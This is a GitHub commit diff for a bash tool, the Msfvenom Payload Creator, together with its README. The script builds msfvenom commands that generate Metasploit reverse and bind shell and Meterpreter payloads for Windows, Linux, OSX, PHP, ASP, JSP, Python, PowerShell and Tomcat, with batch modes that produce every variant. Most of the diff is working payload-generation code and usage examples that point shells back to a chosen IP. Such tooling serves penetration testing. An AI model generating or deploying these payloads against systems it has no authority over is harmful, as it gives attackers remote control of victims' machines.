Skip to content

Commit 290859d

Browse files
committed
v1.3.1 - Bug fix: Space in path + Add: Debug information
1 parent 007db27 commit 290859d

File tree

2 files changed

+31
-28
lines changed

2 files changed

+31
-28
lines changed

README.md

+5-5
Original file line numberDiff line numberDiff line change
@@ -13,10 +13,10 @@ The rest is to make the user's life as **easy as possible** (e.g. **IP selection
1313

1414
The only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).
1515

16-
* Can't remember your IP for a interface? Don't sweat it, just use the interface name: `eth0`.
17-
* Don't know what your external IP is? MPC will discover it: `wan`.
18-
* Want to generate one of each payload? No issue! Try: `loop`.
19-
* Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
16+
* **Can't remember your IP for a interface? Don't sweat it, just use the interface name**: `eth0`.
17+
* **Don't know what your external IP is? MPC will discover it**: `wan`.
18+
* **Want to generate one of each payload? No issue!** Try: `loop`.
19+
* **Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem**. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
2020

2121
_Note: This will **not** try to bypass any anti-virus solutions._
2222

@@ -32,7 +32,7 @@ mpc
3232

3333
## Help
3434

35-
``` bash
35+
```
3636
root@kali:~# mpc -h -v
3737
[*] Msfvenom Payload Creator (MPC v1.3)
3838

mpc.sh

+26-23
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
#!/bin/bash
22
#-Metadata----------------------------------------------------#
3-
# Filename: mpc.sh (v1.3) (Update: 2015-07-20) #
3+
# Filename: mpc.sh (v1.3.1) (Update: 2015-07-24) #
44
#-Info--------------------------------------------------------#
55
# Quickly generate Metasploit payloads using msfvenom. #
66
#-Author(s)---------------------------------------------------#
@@ -122,7 +122,10 @@ function doAction {
122122
\rm -f /tmp/mpc.out
123123
else
124124
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Issue creating file${RESET} =(." >&2
125-
echo -e "\n----------------------------------------------------------------------------------------${RED}"
125+
echo -e "\n----------------------------------------------------------------------------------------"
126+
[ -e "/usr/share/metasploit-framework/build_rev.txt" ] && \cat /usr/share/metasploit-framework/build_rev.txt || \msfconsole -v
127+
\uname -a
128+
echo -e "----------------------------------------------------------------------------------------${RED}"
126129
\cat /tmp/mpc.out
127130
echo -e "${RESET}----------------------------------------------------------------------------------------\n"
128131
fi
@@ -153,13 +156,13 @@ EOF
153156

154157
## doAction
155158
function doHelp {
156-
echo -e "\n ${YELLOW}[i]${RESET} ${BLUE}${0}${RESET} <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)"
157-
echo -e " ${YELLOW}[i]${RESET} Example: ${0} windows 192.168.1.10 # Windows & manual IP."
158-
echo -e " ${YELLOW}[i]${RESET} ${0} elf eth0 4444 # Linux, eth0's IP & manual port."
159-
echo -e " ${YELLOW}[i]${RESET} ${0} stageless cmd py verbose # Python, stageless command prompt."
160-
echo -e " ${YELLOW}[i]${RESET} ${0} loop eth1 # A payload for every type, using eth1's IP."
161-
echo -e " ${YELLOW}[i]${RESET} ${0} msf batch wan # All possible Meterpreter payloads, using WAN IP."
162-
echo -e " ${YELLOW}[i]${RESET} ${0} help verbose # This help screen, with even more information."
159+
echo -e "\n ${YELLOW}[i]${RESET} ${BLUE}${0}${RESET} <${BOLD}TYPE${RESET}> (<${BOLD}DOMAIN/IP${RESET}>) (<${BOLD}PORT${RESET}>) (<${BOLD}CMD/MSF${RESET}>) (<${BOLD}BIND/REVERSE${RESET}>) (<${BOLD}STAGED/STAGELESS${RESET}>) (<${BOLD}TCP/HTTP/HTTPS/FIND_PORT${RESET}>) (<${BOLD}BATCH/LOOP${RESET}>) (<${BOLD}VERBOSE${RESET}>)"
160+
echo -e " ${YELLOW}[i]${RESET} Example: ${BLUE}${0} windows 192.168.1.10${RESET} # Windows & manual IP."
161+
echo -e " ${YELLOW}[i]${RESET} ${BLUE}${0} elf bind eth0 4444${RESET} # Linux, eth0's IP & manual port."
162+
echo -e " ${YELLOW}[i]${RESET} ${BLUE}${0} stageless cmd py https${RESET} # Python, stageless command prompt."
163+
echo -e " ${YELLOW}[i]${RESET} ${BLUE}${0} verbose loop eth1${RESET} # A payload for every type, using eth1's IP."
164+
echo -e " ${YELLOW}[i]${RESET} ${BLUE}${0} msf batch wan${RESET} # All possible Meterpreter payloads, using WAN IP."
165+
echo -e " ${YELLOW}[i]${RESET} ${BLUE}${0} help verbose${RESET} # Help screen, with even more information."
163166
echo ""
164167
echo -e " ${YELLOW}[i]${RESET} <${BOLD}TYPE${RESET}>:"
165168
echo -e " ${YELLOW}[i]${RESET} + ${YELLOW}ASP${RESET}"
@@ -210,7 +213,7 @@ function doHelp {
210213
[[ "${VERBOSE}" == "true" ]] && echo -e " ${YELLOW}[i]${RESET} By altering the traffic, such as <${BOLD}HTTP${RESET}> and even more ${BOLD}<HTTPS${RESET}>, it ${YELLOW}will slow down the communication & increase the payload size${RESET}."
211214
[[ "${VERBOSE}" == "true" ]] && echo -e " ${YELLOW}[i]${RESET} ${YELLOW}More information${RESET}: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication"
212215
echo ""
213-
echo -e " ${YELLOW}[i]${RESET} <${BOLD}BATCH${RESET}> will generate ${YELLOW}as many combinations as possible${RESET}: <${BOLD}TYPE${RESET}>, <${BOLD}CMD + MSF${RESET}>, <${BOLD}BIND + REVERSE${RESET}>, <${BOLD}STAGED + STAGLESS${RESET}> & <${BOLD}TCP + HTTP + HTTPS + FIND_PORT${RESET}> "
216+
echo -e " ${YELLOW}[i]${RESET} <${BOLD}BATCH${RESET}> will generate ${YELLOW}as many combinations as possible${RESET}: <${BOLD}TYPE${RESET}>, <${BOLD}CMD${RESET} + ${BOLD}MSF${RESET}>, <${BOLD}BIND${RESET} + ${BOLD}REVERSE${RESET}>, <${BOLD}STAGED${RESET} + ${BOLD}STAGLESS${RESET}> & <${BOLD}TCP${RESET} + ${BOLD}HTTP${RESET} + ${BOLD}HTTPS${RESET} + ${BOLD}FIND_PORT${RESET}> "
214217
echo -e " ${YELLOW}[i]${RESET} <${BOLD}LOOP${RESET}> will just create ${YELLOW}one of each${RESET} <${BOLD}TYPE${RESET}>."
215218
echo ""
216219
echo -e " ${YELLOW}[i]${RESET} <${BOLD}VERBOSE${RESET}> will display ${YELLOW}more information${RESET}."
@@ -222,7 +225,7 @@ function doHelp {
222225

223226

224227
## Banner
225-
echo -e " ${BLUE}[*]${RESET} ${BLUE}M${RESET}sfvenom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MPC${RESET} v${BLUE}1.3${RESET})"
228+
echo -e " ${BLUE}[*]${RESET} ${BLUE}M${RESET}sfvenom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MPC${RESET} v${BLUE}1.3.1${RESET})"
226229

227230

228231
## Check system
@@ -544,7 +547,7 @@ if [[ "${TYPE}" == "asp" ]]; then
544547
TYPE="windows"
545548
FILEEXT="asp"
546549
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
547-
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
550+
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
548551
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
549552

550553
## ASPX
@@ -556,7 +559,7 @@ elif [[ "${TYPE}" == "aspx" ]]; then
556559
TYPE="windows"
557560
FILEEXT="aspx"
558561
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
559-
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
562+
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
560563
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
561564

562565
## Bash
@@ -575,7 +578,7 @@ elif [[ "${TYPE}" == "bash" || "${TYPE}" == "sh" ]]; then
575578
TYPE="bash"
576579
FILEEXT="sh"
577580
PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_bash"
578-
CMD="msfvenom -p ${PAYLOAD} -f raw --platform unix -e generic/none -a cmd LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
581+
CMD="msfvenom -p ${PAYLOAD} -f raw --platform unix -e generic/none -a cmd LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
579582
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
580583

581584
## Java
@@ -589,7 +592,7 @@ elif [[ "${TYPE}" == "java" || "${TYPE}" == "jsp" ]]; then
589592
TYPE="java"
590593
FILEEXT="jsp"
591594
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
592-
CMD="msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
595+
CMD="msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
593596
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
594597

595598
## Linux
@@ -603,7 +606,7 @@ elif [[ "${TYPE}" == "linux" || "${TYPE}" == "lin" || "${TYPE}" == "elf" ]]; the
603606
TYPE="linux"
604607
FILEEXT="elf" #bin
605608
PAYLOAD="${TYPE}/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
606-
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
609+
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
607610
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
608611

609612
## OSX
@@ -619,7 +622,7 @@ elif [[ "${TYPE}" == "osx" || "${TYPE}" == "macho" ]]; then
619622
TYPE="osx"
620623
FILEEXT="macho"
621624
PAYLOAD="osx/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
622-
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
625+
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
623626
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
624627

625628
## Perl
@@ -635,7 +638,7 @@ elif [[ "${TYPE}" == "perl" || "${TYPE}" == "pl" ]]; then
635638
TYPE="linux"
636639
FILEEXT="pl"
637640
PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_perl"
638-
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform unix -a cmd -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
641+
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform unix -a cmd -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
639642
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
640643

641644
## PHP
@@ -649,7 +652,7 @@ elif [[ "${TYPE}" == "php" ]]; then
649652
TYPE="php"
650653
FILEEXT="php"
651654
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
652-
CMD="msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
655+
CMD="msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
653656
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
654657

655658
## Powershell
@@ -660,7 +663,7 @@ elif [[ "${TYPE}" == "powershell" || "${TYPE}" == "ps1" ]]; then
660663
TYPE="windows"
661664
FILEEXT="ps1"
662665
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
663-
CMD="msfvenom -p ${PAYLOAD} -f ps1 --platform ${TYPE} -e generic/none -a x86 LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
666+
CMD="msfvenom -p ${PAYLOAD} -f ps1 --platform ${TYPE} -e generic/none -a x86 LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
664667
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
665668

666669
## Python
@@ -678,7 +681,7 @@ elif [[ "${TYPE}" == "python" || "${TYPE}" == "py" ]]; then
678681
TYPE="python"
679682
FILEEXT="py"
680683
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
681-
CMD="msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
684+
CMD="msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
682685
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
683686

684687
## Tomcat
@@ -696,7 +699,7 @@ elif [[ "${TYPE}" == "tomcat" || "${TYPE}" == "war" ]]; then
696699
TYPE="tomcat"
697700
FILEEXT="war"
698701
PAYLOAD="java/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
699-
CMD="msfvenom -p ${PAYLOAD} -f raw --platform java -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
702+
CMD="msfvenom -p ${PAYLOAD} -f raw --platform java -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
700703
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
701704

702705
## Windows
@@ -708,7 +711,7 @@ elif [[ "${TYPE}" == "windows" || "${TYPE}" == "win" || "${TYPE}" == "exe" ]]; t
708711
TYPE="windows"
709712
FILEEXT="exe"
710713
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
711-
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
714+
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
712715
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
713716

714717
# Batch/Loop modes

0 commit comments

Comments
 (0)